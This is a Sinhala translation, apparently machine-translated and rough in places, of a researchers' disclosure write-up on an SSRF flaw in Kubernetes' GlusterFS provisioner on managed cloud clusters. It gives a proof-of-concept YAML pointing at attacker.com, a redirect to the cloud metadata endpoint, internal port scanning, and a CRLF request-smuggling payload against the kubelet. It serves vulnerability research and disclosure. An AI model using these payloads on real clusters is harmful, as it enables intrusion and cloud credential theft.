සටහන. පරිවර්තනය.: මෙම ලිපියේ කතුවරුන් අවදානම් බව සොයා ගැනීමට සමත් වූ ආකාරය ගැන විස්තරාත්මකව කතා කරයි Kubernetes හි. මුලදී එය එතරම් භයානක බවක් නොපෙනුනද, වෙනත් සාධක සමඟ සංයෝජනයක් ලෙස එහි විවේචනාත්මක බව සමහර වලාකුළු සපයන්නන් සඳහා උපරිම විය. සංවිධාන කිහිපයක් ඔවුන්ගේ වැඩ සඳහා විශේෂඥයින්ට නොමසුරුව ත්‍යාග පිරිනමන ලදී.
අපි කවුද
අපි ප්‍රංශ ආරක්ෂක පර්යේෂකයන් දෙදෙනෙකු වන අතර ඔවුන් එක්ව කුබර්නෙට්ස් හි අවදානමක් සොයා ගත්හ. අපගේ නම් Brice Augras සහ Christophe Hauquiert වේ, නමුත් බොහෝ Bug Bounty වේදිකාවල අපි පිලිවෙලින් Reeverzax සහ Hach ලෙස හැඳින්වේ:
- - ;
- - Nokia හි Kubernetes ගෘහ නිර්මාණ ශිල්පියා.
මොකද වුණේ?
මෙම ලිපිය සාමාන්‍ය පර්යේෂණ ව්‍යාපෘතියක් අනපේක්ෂිත ලෙස දෝෂ දඩයම්කරුවන්ගේ ජීවිතයේ (අවම වශයෙන් දැනට) වඩාත්ම උද්යෝගිමත් වික්‍රමය බවට පත් වූ ආකාරය බෙදාගැනීමේ ක්‍රමයයි.
ඔබ දන්නා පරිදි, දෝෂ දඩයම්කරුවන්ට කැපී පෙනෙන ලක්ෂණ කිහිපයක් තිබේ:
- ඔවුන් පීසා සහ බියර් මත ජීවත් වෙති;
- ඔවුන් වැඩ කරන්නේ අනෙක් සියල්ලන් නිදා සිටින විට ය.
අපි මෙම නීතිවලට ව්‍යතිරේකයක් නොවේ: අපි සාමාන්‍යයෙන් සති අන්තයේ හමු වී නිදි නැති රාත්‍රීන් අනවසරයෙන් ගත කරමු. නමුත් මේ එක් රාත්‍රියක් අවසන් වූයේ ඉතා අසාමාන්‍ය ආකාරයකටය.
මුලදී අපි රැස්වීමට සහභාගී වීම ගැන සාකච්ඡා කිරීමට සූදානම්ව සිටියෙමු ඊළඟ දිනය. කළමනාකරණය කළ සේවා පරිසරයක Kubernetes ආරක්ෂාව පිළිබඳ සංවාදයකදී, SSRF හි පැරණි අදහස අපට සිහිපත් විය () සහ එය ප්රහාරක පිටපතක් ලෙස භාවිතා කිරීමට උත්සාහ කිරීමට තීරණය කළේය.
රාත්‍රී 11 ට අපි අපගේ පර්යේෂණය කිරීමට වාඩි වී උදෙන්ම නින්දට ගියෙමු, ප්‍රති results ල ගැන බෙහෙවින් සෑහීමකට පත් විය. මේ පර්යේෂණය නිසා තමයි අපිට MSRC Bug Bounty වැඩසටහන හමු වුණේ සහ privilege escalation exploit එකක් ඉදිරිපත් කළේ.
සති/මාස කිහිපයක් ගත වූ අතර, අපගේ අනපේක්ෂිත ප්රතිඵලය Azure Cloud Bug Bounty ඉතිහාසයේ ඉහළම ත්‍යාග වලින් එකක් ලබා ගැනීමට හේතු විය - අපට Kubernetes වෙතින් ලැබුණු එකට අමතරව!
අපගේ පර්යේෂණ ව්‍යාපෘතිය මත පදනම්ව, Kubernetes නිෂ්පාදන ආරක්ෂක කමිටුව විසින් ප්‍රකාශයට පත් කරන ලදී .
දැන් මම හැකිතාක් දුරට සොයාගත් අවදානම පිළිබඳ තොරතුරු පතුරුවා හැරීමට කැමතියි. ඔබ සොයා ගැනීම අගය කර ඉන්ෆොසෙක් ප්‍රජාවේ අනෙකුත් සාමාජිකයින් සමඟ තාක්ෂණික තොරතුරු බෙදා ගනු ඇතැයි අපි බලාපොරොත්තු වෙමු!
එහෙනම් මෙන්න අපේ කතාව...
සන්දර්භය
සිදුවූයේ කුමක්ද යන්න වඩාත් අවබෝධ කර ගැනීම සඳහා, අපි මුලින්ම බලමු ක්ලවුඩ් කළමණාකරන පරිසරයක් තුළ Kubernetes ක්‍රියා කරන ආකාරය.
ඔබ එවැනි පරිසරයක් තුළ Kubernetes පොකුරක් ක්ෂණිකව ක්රියාත්මක කරන විට, කළමනාකරණ ස්ථරය සාමාන්‍යයෙන් වලාකුළු සපයන්නාගේ වගකීම වේ:
පාලක ස්තරය වලාකුළු සපයන්නාගේ පරිමිතියෙහි පිහිටා ඇති අතර Kubernetes නෝඩ් පාරිභෝගිකයාගේ පරිමිතියෙහි පිහිටා ඇත.
වෙළුම් ගතිකව වෙන් කිරීම සඳහා, බාහිර ගබඩා පසුබිමකින් ගතිකව ඒවා සැපයීමට සහ ඒවා PVC සමඟ සංසන්දනය කිරීමට යාන්ත්‍රණයක් භාවිතා කරයි (අස්ථිර වෙළුම් හිමිකම් පෑම, එනම් පරිමාවක් සඳහා ඉල්ලීමක්).
මේ අනුව, PVC නිර්මාණය කර K8s පොකුරේ StorageClass වෙත බැඳීමෙන් පසුව, පරිමාව සැපයීම සඳහා වැඩිදුර ක්‍රියාමාර්ග kube/Cloud පාලක කළමනාකරු විසින් භාර ගනු ලැබේ (එහි නිශ්චිත නම නිකුත් කිරීම මත රඳා පවතී). (සටහන. පරිවර්තනය.: අපි දැනටමත් ක්ලවුඩ් සපයන්නන්ගෙන් එකක් සඳහා එය ක්රියාත්මක කිරීමේ උදාහරණය භාවිතා කරමින් CCM ගැන වැඩි විස්තර ලියා ඇත .)
Kubernetes විසින් සහාය දක්වන සැපයුම්කරුවන් වර්ග කිහිපයක් තිබේ: ඒවායින් බොහොමයක් ඇතුළත් වේ , අනෙක් ඒවා කළමනා කරනු ලබන්නේ පොකුරේ කරල්වල තබා ඇති අතිරේක සැපයුම්කරුවන් විසිනි.
අපගේ පර්යේෂණයේදී, අපි පහත දැක්වෙන අභ්යන්තර පරිමාව ප්‍රතිපාදන යාන්ත්‍රණය කෙරෙහි අවධානය යොමු කළෙමු:
බිල්ට්-ඉන් Kubernetes provisioner භාවිතා කරමින් වෙළුම්වල ගතික ප්‍රතිපාදන
කෙටියෙන් කිවහොත්, Kubernetes කළමනාකරණය කරන ලද පරිසරයක යොදවා ඇති විට, පාලක කළමනාකරු වලාකුළු සපයන්නාගේ වගකීම වේ, නමුත් පරිමාව නිර්මාණය කිරීමේ ඉල්ලීම (ඉහත රූප සටහනේ අංක 3) වලාකුළු සැපයුම්කරුගේ අභ්යන්තර ජාලයෙන් ඉවත් වේ. තවද මෙහි දේවල් ඇත්තෙන්ම සිත්ගන්නා සුළු වේ!
හැක් කිරීමේ අවස්ථාව
ඉහත සඳහන් කළ කාර්ය ප්‍රවාහයෙන් අප ප්‍රයෝජන ගෙන ක්ලවුඩ් සේවා සපයන්නාගේ අභ්යන්තර සම්පත් වෙත ප්‍රවේශ වූ ආකාරය මෙම කොටසේදී අපි පැහැදිලි කරන්නෙමු. අභ්යන්තර අක්තපත්‍ර ලබා ගැනීම හෝ වරප්‍රසාද උත්සන්න කිරීම වැනි ඇතැම් ක්‍රියා සිදු කළ හැකි ආකාරය ද එය ඔබට පෙන්වනු ඇත.
එක් සරල උපාමාරුවක් (මෙම අවස්ථාවෙහි, සේවා පැති ඉල්ලීම් ව්‍යාජය) සේවාදායක පරිසරයෙන් ඔබ්බට කළමනාකරණය කරන ලද K8 යටතේ විවිධ සේවා සපයන්නන්ගේ පොකුරු වෙත යාමට උපකාරී විය.
අපගේ පර්යේෂණයේදී අපි GlusterFS ප්‍රතිපාදන වෙත අවධානය යොමු කළෙමු. මෙම සන්දර්භය තුළ තවදුරටත් ක්‍රියා අනුපිළිවෙල විස්තර කර ඇතත්, Quobyte, StorageOS සහ ScaleIO එකම අවදානමකට ගොදුරු වේ.
ගතික වෙළුම් ප්‍රතිපාදන යාන්ත්‍රණය අනිසි ලෙස භාවිතා කිරීම
ගබඩා පන්ති විශ්ලේෂණය අතරතුර GlusterFS Golang සේවාදායක මූල කේතය අපි පරිමාව නිර්මාණය කිරීමේදී යවන ලද පළමු HTTP ඉල්ලීම (3) මත, පරාමිතියෙහි අභිරුචි URL හි අවසානය දක්වා resturl එකතු කරන ලදි /volumes.
එකතු කිරීමෙන් මෙම අතිරේක මාර්ගයෙන් මිදීමට අපි තීරණය කළෙමු # පරාමිතිය තුළ resturl. මෙන්න අපි අර්ධ අන්ධ SSRF අවදානමක් සඳහා පරීක්ෂා කිරීමට භාවිතා කළ පළමු YAML වින්‍යාසය (ඔබට අර්ධ අන්ධ හෝ අර්ධ අන්ධ SSRF ගැන වැඩිදුර කියවිය හැක, උදාහරණයක් ලෙස, - ආසන්න වශයෙන්. පරිවර්තනය.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfඉන්පසුව අපි Kubernetes පොකුර දුරස්ථව කළමනාකරණය කිරීමට ද්විමය භාවිතා කළෙමු kubectl. සාමාන්‍යයෙන්, වලාකුළු සපයන්නන් (Azure, Google, AWS, ආදිය) මෙම උපයෝගීතාවයේ භාවිතය සඳහා අක්තපත්‍ර ලබා ගැනීමට ඔබට ඉඩ සලසයි.
මේ සඳහා ස්තූතියි, මගේ "විශේෂ" ගොනුව භාවිතා කිරීමට මට හැකි විය. Kube-controller-manager විසින් ලැබෙන HTTP ඉල්ලීම ක්රියාත්මක කරන ලදී:
kubectl create -f sc-poc.yaml
ප්‍රහාරකයාගේ දෘෂ්ටිකෝණයෙන් පිළිතුර
මෙයින් ටික කලකට පසු, අපට ඉලක්ක සේවාදායකයෙන් - විධාන හරහා HTTP ප්‍රතිචාරයක් ලබා ගැනීමට ද හැකි විය describe pvc හෝ get events kubectl හි. ඇත්ත වශයෙන්ම: මෙම පෙරනිමි Kubernetes ධාවකය එහි අනතුරු ඇඟවීම්/දෝෂ පණිවිඩවල ඉතා වාචික වේ...
මෙන්න සබැඳියක් සහිත උදාහරණයක් https://www.google.frපරාමිතිය ලෙස සකසන්න resturl:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events
මෙම ප්‍රවේශය තුළ, අප වැනි විමසුම්වලට සීමා විය HTTP POST සහ ප්‍රතිලාභ කේතය නම් ප්රතිචාර සිරුරේ අන්තර්ගතය ලබා ගැනීමට නොහැකි විය 201. එබැවින්, අපි අතිරේක පර්යේෂණ සිදු කිරීමට තීරණය කළ අතර නව ප්රවේශයන් සමඟින් මෙම අනවසරයෙන් ඇතුළුවීමේ අවස්ථාව පුළුල් කළෙමු.
අපගේ පර්යේෂණයේ පරිණාමය
- උසස් අවස්ථාව #1: අභ්යන්තර දත්ත රැස් කිරීමට වඩාත් නම්‍යශීලී ක්‍රමයක් සැපයීම සඳහා HTTP ක්‍රමය වෙනස් කිරීමට බාහිර සේවාදායකයකින් 302 යළි-යොමුවීමක් භාවිතා කිරීම.
- උසස් අවස්ථාව #2: ස්වයංක්රීය LAN ස්කෑන් කිරීම සහ අභ්යන්තර සම්පත් සොයාගැනීම.
- උසස් තත්ත්වය #3: HTTP CRLF + ජාවාරම් (“හොර ජාවාරම් ඉල්ලීම”) භාවිතයෙන් සකස් කළ HTTP ඉල්ලීම් සෑදීමට සහ kube-controller logs වෙතින් උපුටා ගත් දත්ත ලබා ගැනීම.
තාක්ෂණික පිරිවිතර
- පර්යේෂණය උතුරු යුරෝපීය කලාපයේ Kubernetes අනුවාදය 1.12 සමඟ Azure Kubernetes Service (AKS) භාවිතා කළේය.
- ඉහත විස්තර කර ඇති අවස්ථා Kubernetes හි නවතම නිකුතු මත ක්රියාත්මක කරන ලදී, තුන්වන අවස්ථාව හැර, මන්ද ඔහුට Golang අනුවාදය ≤ 1.12 සමඟින් සාදන ලද Kubernetes අවශ්‍ය විය.
- ප්‍රහාරකයාගේ බාහිර සේවාදායකය -
https://attacker.com.
උසස් අවස්ථාව #1: HTTP POST ඉල්ලීමක් GET වෙත හරවා යැවීම සහ සංවේදී දත්ත ලබා ගැනීම
ප්‍රහාරකයාගේ සේවාදායකය නැවත පැමිණීමට වින්‍යාස කිරීම මගින් මුල් ක්‍රමය වැඩිදියුණු කරන ලදී 302 HTTP RetcodePOST ඉල්ලීමක් GET ඉල්ලීමක් බවට පරිවර්තනය කිරීමට (රූප සටහනේ පියවර 4):
පළමු ඉල්ලීම (3) සේවාදායකයාගෙන් පැමිණේ GlusterFS (පාලක කළමනාකරු), POST වර්ගයක් ඇත. මෙම පියවර අනුගමනය කිරීමෙන් අපට එය GET එකක් බවට පත් කිරීමට හැකි විය:
- පරාමිතියක් ලෙස
resturlStorageClass හි එය දක්වා ඇතhttp://attacker.com/redirect.php. - අවසානය
https://attacker.com/redirect.phpපහත ස්ථාන ශීර්ෂය සමඟින් 302 HTTP තත්ව කේතයක් සමඟ ප්රතිචාර දක්වයි:http://169.254.169.254. මෙය වෙනත් ඕනෑම අභ්යන්තර සම්පතක් විය හැකිය - මෙම අවස්ථාවේදී, යළි-යොමු කිරීමේ සබැඳිය භාවිතා කරනුයේ උදාහරණයක් ලෙස පමණි. - පෙරනිමියෙන් net/http පුස්තකාලය Golang විසින් ඉල්ලීම හරවා යවන අතර POST 302 තත්ව කේතයක් සමඟ GET බවට පරිවර්තනය කරයි, එහි ප්‍රතිඵලයක් ලෙස HTTP GET ඉල්ලීමක් ඉලක්ක සම්පත වෙත ලැබේ.
HTTP ප්රතිචාර ශරීරය කියවීමට ඔබ කළ යුතුය describe PVC වස්තුව:
kubectl describe pvc xxxඅපට ලැබීමට හැකි වූ JSON ආකෘතියේ HTTP ප්‍රතිචාරයක උදාහරණයක් මෙන්න:
පහත සඳහන් කරුණු හේතුවෙන් එකල සොයාගත් දුර්වලතාවයේ හැකියාවන් සීමා විය:
- පිටතට යන ඉල්ලීමට HTTP ශීර්ෂ ඇතුළත් කිරීමට නොහැකි වීම.
- ශරීරයේ පරාමිතීන් සහිත POST ඉල්ලීමක් කිරීමට නොහැකි වීම (මෙය ක්රියාත්මක වන etcd අවස්ථාවකින් ප්‍රධාන අගය ඉල්ලීමට පහසු වේ 2379 සංකේතනය නොකළ HTTP භාවිතා කරන්නේ නම් වරාය).
- තත්ත්‍ව කේතය 200 වූ විට සහ ප්‍රතිචාරයේ JSON අන්තර්ගත වර්ගයක් නොමැති විට ප්රතිචාර අන්තර්ගත අන්තර්ගතය ලබා ගැනීමට නොහැකි වීම.
උසස් තත්වය #2: දේශීය ජාලය පරිලෝකනය කිරීම
මෙම අර්ධ අන්ධ SSRF ක්‍රමය පසුව ක්ලවුඩ් සපයන්නාගේ අභ්යන්තර ජාලය පරිලෝකනය කිරීමට සහ ප්රතිචාර මත පදනම්ව විවිධ සවන්දීමේ සේවා (Metadata instance, Kubelet, etcd, etc.) මත විමසා බැලීමට භාවිතා කරන ලදී. kube පාලකය.
පළමුව, Kubernetes සංරචකවල සම්මත සවන්දීමේ වරායන් තීරණය කරන ලදී (8443, 10250, 10251, ආදිය), පසුව අපට ස්කෑනිං ක්රියාවලිය ස්වයංක්රීය කිරීමට සිදු විය.
සම්පත් පරිලෝකනය කිරීමේ මෙම ක්‍රමය ඉතා නිශ්චිත බවත් සම්භාව්‍ය ස්කෑනර් සහ SSRF මෙවලම් සමඟ නොගැලපෙන බවත් දුටු අපි සමස්ත ක්‍රියාවලියම ස්වයංක්රීය කරන බාෂ් ස්ක්‍රිප්ට් එකකින් අපගේම සේවකයින් නිර්මාණය කිරීමට තීරණය කළෙමු.
නිදසුනක් ලෙස, අභ්යන්තර ජාලයේ 172.16.0.0/12 පරාසය ඉක්මනින් පරිලෝකනය කිරීම සඳහා, කම්කරුවන් 15 දෙනෙකු සමාන්තරව දියත් කරන ලදී. ඉහත IP පරාසය තෝරාගෙන ඇත්තේ උදාහරණයක් ලෙස පමණක් වන අතර ඔබේ විශේෂිත සේවා සපයන්නාගේ IP පරාසයට වෙනස් වීමට යටත් විය හැක.
එක් IP ලිපිනයක් සහ එක් වරායක් පරිලෝකනය කිරීමට, ඔබ පහත සඳහන් දෑ කළ යුතුය:
- අවසන් වරට පරීක්ෂා කළ StorageClass මකන්න;
- පෙර සත්‍යාපිත ස්ථීර වෙළුම් හිමිකම ඉවත් කරන්න;
- IP සහ Port අගයන් වෙනස් කරන්න
sc.yaml; - නව IP සහ තොටක් සමඟ StorageClass සාදන්න;
- නව PVC නිර්මාණය කරන්න;
- PVC සඳහා විස්තරය භාවිතයෙන් ස්කෑන් ප්‍රතිඵල උපුටා ගන්න.
උසස් තත්ත්වය #3: CRLF එන්නත් + Kubernetes පොකුරේ "පැරණි" අනුවාදවල HTTP ජාවාරම
මීට අමතරව, සැපයුම්කරු K8s පොකුරේ පැරණි අනුවාදයන් සේවාදායකයින්ට ලබා දුන්නේ නම් и kube-controller-manager's logs වෙත ඔවුන්ට ප්‍රවේශය ලබා දුන් අතර, බලපෑම වඩාත් වැදගත් විය.
ප්‍රහාරකයෙකුට ඔහුගේ අභිමතය පරිදි සම්පූර්ණ HTTP ප්‍රතිචාරයක් ලබා ගැනීම සඳහා නිර්මාණය කර ඇති HTTP ඉල්ලීම් වෙනස් කිරීම ඇත්තෙන්ම වඩාත් පහසු වේ.
අවසාන අවස්ථාව ක්රියාත්මක කිරීම සඳහා, පහත සඳහන් කොන්දේසි සපුරාලිය යුතුය:
- පරිශීලකයාට kube-controller-manager logs වෙත ප්‍රවේශය තිබිය යුතුය (උදාහරණයක් ලෙස, Azure LogInsights හි).
- Kubernetes පොකුර 1.12 ට වඩා අඩු Golang අනුවාදයක් භාවිතා කළ යුතුය.
අපි GlusterFS Go සේවාලාභියා සහ ව්‍යාජ ඉලක්ක සේවාදායකයක් අතර සන්නිවේදනය අනුකරණය කරන දේශීය පරිසරයක් යෙදවූවෙමු (අපි දැනට PoC ප්‍රකාශ කිරීමෙන් වළකිමු).
සොයා ගන්නා ලදී , 1.12 ට වඩා අඩු Golang අනුවාදවලට බලපාන අතර HTTP ජාවාරම්/CRLF ප්‍රහාර සිදු කිරීමට හැකර්වරුන්ට ඉඩ සලසයි.
ඉහත විස්තර කර ඇති අර්ධ අන්ධ SSRF ඒකාබද්ධ කිරීමෙනි вместе මෙය සමඟ, kube-controller-manager විසින් සැකසූ ශීර්ෂයන්, HTTP ක්‍රමය, පරාමිති සහ දත්ත ප්‍රතිස්ථාපනය කිරීම ඇතුළුව අපගේ අභිමතය පරිදි ඉල්ලීම් යැවීමට අපට හැකි විය.
පරාමිතියක වැඩ කරන "ඇමක්" පිළිබඳ උදාහරණයක් මෙන්න resturl StorageClass, සමාන ප්රහාරක අවස්ථාවක් ක්රියාත්මක කරයි:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnප්රතිඵලය දෝෂයකි අනවශ්ය ප්රතිචාර, පාලක ලොග් වල සටහන් කර ඇති පණිවිඩයක්. පෙරනිමියෙන් සක්‍රීය කර ඇති වාචිකත්වයට ස්තූතියි, HTTP ප්රතිචාර පණිවිඩයේ අන්තර්ගතය ද එහි සුරැකේ.
මෙය සංකල්පය සනාථ කිරීමේ රාමුව තුළ අපගේ වඩාත්ම ඵලදායී "ඇම" විය.
මෙම ප්‍රවේශය භාවිතා කරමින්, විවිධ කළමනාකරණය කරන ලද k8s සපයන්නන්ගේ පොකුරු මත පහත ප්‍රහාර කිහිපයක් සිදු කිරීමට අපට හැකි විය: පාර-දත්ත අවස්ථා පිළිබඳ අක්තපත්‍ර සමඟ වරප්‍රසාද තීව්‍ර කිරීම, etcd ප්‍රධාන අවස්ථා සඳහා (සංකේතනය නොකළ) HTTP ඉල්ලීම් හරහා Master DoS යනාදිය.
ප්රතිවිපාක
අපි සොයාගත් SSRF අවදානම සම්බන්ධයෙන් Kubernetes නිල ප්රකාශයේ, එය ශ්රේණිගත කර ඇත CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. අපි Kubernetes පරිමිතිය හා සම්බන්ධ අවදානම පමණක් සලකා බැලුවහොත්, අඛණ්ඩතා දෛශිකය (අඛණ්ඩතා දෛශිකය) ලෙස සුදුසුකම් ලබයි නැහැ.
කෙසේ වෙතත්, කළමනාකරණය කළ සේවා පරිසරයක සන්දර්භය තුළ ඇති විය හැකි ප්රතිවිපාක තක්සේරු කිරීම (මෙය අපගේ පර්යේෂණයේ වඩාත්ම සිත්ගන්නා කොටස විය!) අවදානම ශ්රේණිගත කිරීමක් ලෙස නැවත වර්ග කිරීමට අපව පොළඹවන ලදී. විවේචනාත්මක CVSS10/10 බොහෝ බෙදාහරින්නන් සඳහා.
වලාකුළු පරිසරයේ ඇති විය හැකි බලපෑම් තක්සේරු කිරීමේදී අපගේ සලකා බැලීම් තේරුම් ගැනීමට ඔබට උපකාර කිරීමට අමතර තොරතුරු පහත දැක්වේ:
අඛණ්ඩතාව
- අත්පත් කරගත් අභ්යන්තර අක්තපත්‍ර භාවිතයෙන් දුරස්ථව විධාන ක්රියාත්මක කරන්න.
- දේශීය ජාලයේ ඇති අනෙකුත් සම්පත් සමඟ IDOR (අනාරක්ෂිත සෘජු වස්තු යොමු) ක්‍රමය භාවිතයෙන් ඉහත දර්ශනය ප්‍රතිනිෂ්පාදනය කිරීම.
රහස්යභාවය
- ප්රහාරක වර්ගය ක්ලවුඩ් අක්තපත්‍ර සොරකම් කිරීමට ස්තූතියි (උදාහරණයක් ලෙස, පාරදත්ත API).
- දේශීය ජාලය පරිලෝකනය කිරීමෙන් තොරතුරු රැස් කිරීම (SSH අනුවාදය තීරණය කිරීම, HTTP සේවාදායක අනුවාදය, ...).
- පාරදත්ත API වැනි අභ්යන්තර API ඡන්ද විමසීමෙන් අවස්ථා සහ යටිතල පහසුකම් තොරතුරු රැස් කරන්න (
http://169.254.169.254,…). - වලාකුළු අක්තපත්‍ර භාවිතයෙන් පාරිභෝගික දත්ත සොරකම් කිරීම.
ලබාගත හැකිය
ප්රහාරක දෛශිකවලට අදාළ සියලුම සූරාකෑමේ අවස්ථා අඛණ්ඩතාව, විනාශකාරී ක්‍රියාවන් සඳහා භාවිතා කළ හැකි අතර සේවාලාභී පරිමිතිය (හෝ වෙනත් ඕනෑම) සිට ප්‍රධාන අවස්ථා ලබා ගත නොහැක.
අපි කළමනාකරණය කළ K8s පරිසරයක සිටි නිසා සහ අඛණ්ඩතාවට ඇති බලපෑම තක්සේරු කරන නිසා, අපට ලබා ගත හැකි බවට බලපෑම් කළ හැකි බොහෝ අවස්ථා සිතාගත හැකිය. අමතර උදාහරණ ලෙස etcd දත්ත සමුදාය දූෂිත කිරීම හෝ Kubernetes API වෙත තීරණාත්මක ඇමතුමක් ලබා දීම ඇතුළත් වේ.
කාලානුක්‍රමය
- 6 දෙසැම්බර් 2019: MSRC Bug Bounty වෙත අවදානමක් වාර්තා විය.
- ජනවාරි 3, 2020: අපි ආරක්ෂක ගැටලුවක් මත වැඩ කරන බව තුන්වන පාර්ශ්වයක් Kubernetes සංවර්ධකයින්ට දැනුම් දුන්නා. SSRF අභ්යන්තර (අන්තර්ගත) අවදානමක් ලෙස සලකන ලෙස ඔවුන්ගෙන් ඉල්ලා සිටියේය. පසුව අපි ගැටලුවේ මූලාශ්රය පිළිබඳ තාක්ෂණික විස්තර සහිත සාමාන්‍ය වාර්තාවක් ලබා දුන්නෙමු.
- ජනවාරි 15, 2020: අපි Kubernetes සංවර්ධකයින්ට ඔවුන්ගේ ඉල්ලීම මත (HackerOne වේදිකාව හරහා) තාක්ෂණික සහ සාමාන්‍ය වාර්තා ලබා දුන්නා.
- 15 ජනවාරි 2020: පසුගිය නිකුතු සඳහා අර්ධ අන්ධ SSRF + CRLF එන්නත් කිරීම මූලික අවදානමක් ලෙස සලකන බව Kubernetes සංවර්ධකයින් අපට දැනුම් දුන්නේය. අපි වෙනත් සේවා සපයන්නන්ගේ පරිමිතිය විශ්ලේෂණය කිරීම වහාම නතර කළෙමු: K8s කණ්ඩායම දැන් මූලික හේතුව සමඟ කටයුතු කරමින් සිටියේය.
- 15 ජනවාරි 2020: HackerOne හරහා ලැබුණු MSRC ත්‍යාගය.
- ජනවාරි 16, 2020: Kubernetes PSC (නිෂ්පාදන ආරක්ෂණ කමිටුව) අවදානම හඳුනාගෙන ඇති අතර විභව වින්දිතයින් විශාල සංඛ්‍යාවක් හේතුවෙන් එය මාර්තු මැද දක්වා රහසිගතව තබා ගන්නා ලෙස ඉල්ලා සිටියේය.
- 11 පෙබරවාරි 2020: Google VRP ත්‍යාගය ලැබිණි.
- මාර්තු 4, 2020: HackerOne හරහා ලැබුණු Kubernetes ත්‍යාගය.
- 15 මාර්තු 2020: COVID-19 තත්ත්වය හේතුවෙන් මුලින් සැලසුම් කර තිබූ මහජන හෙළිදරව් කිරීම කල් දමන ලදී.
- ජූනි 1, 2020: කුබර්නෙටස් + මයික්‍රොසොෆ්ට් ඒකාබද්ධ ප්‍රකාශය අවදානම පිළිබඳ.
TL; ඩී
- අපි බියර් බොනවා පීසා කනවා :)
- අපට එසේ කිරීමට අදහසක් නොතිබුණද, අපි Kubernetes හි මූලික අවදානමක් සොයා ගත්තෙමු.
- අපි විවිධ ක්ලවුඩ් සපයන්නන්ගේ පොකුරු පිළිබඳ අතිරේක විශ්ලේෂණයක් සිදු කළ අතර අමතර පුදුමාකාර ප්‍රසාද දීමනා ලබා ගැනීමේ අවදානම නිසා ඇති වූ හානිය වැඩි කිරීමට හැකි විය.
- මෙම ලිපියෙන් ඔබට තාක්ෂණික තොරතුරු රාශියක් සොයාගත හැකිය. ඒවා ඔබ සමඟ සාකච්ඡා කිරීමට අපි සතුටු වන්නෙමු (Twitter: & ).
- සියලු ආකාරයේ විධිමත් කිරීම් සහ වාර්තා කිරීම බලාපොරොත්තු වූවාට වඩා බොහෝ කාලයක් ගත වූ බව පෙනී ගියේය.
යොමු
- ;
- ;
- ;
- .
පරිවර්තකගෙන් PS
අපගේ බ්ලොග් අඩවියේ ද කියවන්න:
- «»;
- «»;
- «".
මූලාශ්රය: www.habr.com